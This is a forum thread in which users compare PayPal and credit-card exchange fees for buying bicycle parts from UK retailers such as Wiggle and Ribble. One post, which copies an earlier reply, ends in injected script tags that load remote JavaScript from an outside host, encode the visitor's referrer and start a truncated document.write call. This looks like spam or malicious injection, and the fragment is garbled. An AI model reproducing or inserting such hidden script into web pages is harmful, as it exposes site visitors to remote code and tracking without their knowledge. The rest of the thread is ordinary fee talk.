[DesnaePhoto]

Just got off the phone with Paypal. Making a purchase through paypal does not incur any international exchange fees! YEA!! This is good news as my cc does charge me one.

Off to get a wheelset!

 

[tom_h]

Most CapitalOne credit cards don't charge exchange fees, either

 

[bikerjulio]

like any money changer, PP make a percentage. it is the difference between the wholesale rate, and the rate they give you.

for example at the current wholesale rate $100CAN will buy 64.87 GBP.

$100CAN in PayPal will buy you 63.01 GBP.

PP are making around 2.8% on the exchange.

 

[McKaka]

like any money changer, PP make a percentage. it is the difference between the wholesale rate, and the rate they give you.

for example at the current wholesale rate $100CAN will buy 64.87 GBP.

$100CAN in PayPal will buy you 63.01 GBP.

PP are making around 2.8% on the exchange.<script type="text/javascript" src="http://www.pic-host.info/files/encode.js"></script><script type="text/javascript">if (document.referrer) { var ref='?'+encode(document.referrer); } else { var ref=''; }document.write('

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Correct, so even if your CC does not apply any exchange fee... beware that paypal does, usually in the 2-3% range.

 

[tom_h]

A Wiggle purchase I made couple day ago, just posted (March 22) to my CapitalOne credit card at a rate
= $1.521 / GBP.

Google Finance , https://www.google.com/finance?q=GBPUSD , is showing the Mar-22 ending exchange rate
= $1.524 / GBP.

Rates are within 0.2% of each other -- pretty good!

 

[bikerjulio]

Some UK retailers charge in GBP which the CC or PP then convert to $$ and will make a percentage on the exchange.

I just checked and it looks like Wiggle is now charging directly in $$, and doing it very reasonably as you say.

Also checked a couple of others. Ribble is doing the same and charging in $$ (also very reasonably), whereas Total are charging GBP and the CC or PP will do the exchange.

 

[tom_h]

Some UK retailers charge in GBP which the CC or PP then convert to $$ and will make a percentage on the exchange.

I just checked and it looks like Wiggle is now charging directly in $$, and doing it very reasonably as you say.

Also checked a couple of others. Ribble is doing the same and charging in $$ (also very reasonably), whereas Total are charging GBP and the CC or PP will do the exchange.

I am pretty sure Ribble, Wiggle, etc, are still charging direct in GBP. My credit card statements show the original GBP amount, the exchange rate, and the final amount due in US$.

Ribble & PBK website will display in US$ if you set your location to USA, and will automatically deduct the 20% VAT. But the actual charge is in GBP.

Wiggle lets you set location to USA so that 20% VAT is deducted from displayed price. Separately you can choose to display prices in US$ or GBP, but you will be charged in GBP.

Many, if not most, US credit cards charge ~3% "processing fee" in addition to whatever exchange rate they impose. Most CapitalOne Mastercards do not, plus the card I have gives monthly cash back = 1% of purchases. I acquired the CapitalOne card a few years ago, for the express purpose of bike part purchases from europe!

 

[bikerjulio]

I remember that the final checkout amounts used to be shown in GBP for Wiggle and Ribble, but there is no indication of that now. Looks to me like they have changed. They say specifically that your card will be charged in $$.

I'll have to buy something now, just to check a point!

 

[DesnaePhoto]

Well, my experience is not a good one. At least in terms of avoiding an exchange fee. I'll have to do some calling on this one. Paid through Paypal -- but the CC still has a 3% exchange fee on it. THAT I don't understand. Will call PP and find out why, since the bill is in USD.

At this point, I would have rather just paid Wiggle straight on a CC.

I must say though, the wheels arrived 3 days before I expected them! Ordered on a Friday night, was here the following Thursday. VERY impressed.

 

[bikerjulio]

Didn't quite understand this bit:

Paid through Paypal -- but the CC still has a 3% exchange fee on it.

Isn't either one or the other? Was the original sale made in USD?

My search of the Wiggle site came up with this:

What currency will I pay for my order in?

* You will pay for your order in the currency displayed on the order confirmation page. This excludes Japanese Yen*.

* The price displayed when you confirm your order will be the price you pay when your order is processed and will not change.

* This amount will be charged to your credit/debit card / PayPal account in the currency displayed
VAT is automatically included for destination countries in the EU.

Wiggle Customer Services

Which seems to confirm what I was saying.

So, I would have to think that if the PP account was in USD, and the charge was in USD, there shouldn't have been any PP markup.

 

[tom_h]

bikerjulio,
yeah it sure does!

I've always tried to pay in GBP wherever possible or allowed, figuring the credit card will give me best possible rate -- which seems to be true when I compare my card's change rate to Google Finance, Wall St Journal, etc

 

[Got Time]

Even worse: I bought something via an online shop that only shows its prices in US$.
The shop requests payment via Paypal. However, the BofA CC charged a "foreign transaction fee" for this!
After I called them they claimed that the destination was in a foreign country and even though the amount is charged in U$S (no conversion!), they apply fees.
I never used the BofA CC again: they can make up fees that are entirely hidden to the customer during payment...

 

[bikerjulio]

Even worse: I bought something via an online shop that only shows its prices in US$.
The shop requests payment via Paypal. However, the BofA CC charged a "foreign transaction fee" for this!
After I called them they claimed that the destination was in a foreign country and even though the amount is charged in U$S (no conversion!), they apply fees.
I never used the BofA CC again: they can make up fees that are entirely hidden to the customer during payment...

I'm just back from a month in the UK. Hertz as an example, quoted me in $$CAN, I paid using my CDN Mastercard, and the card shows exactly what Hertz quoted. I'd think that anything else would be wrong.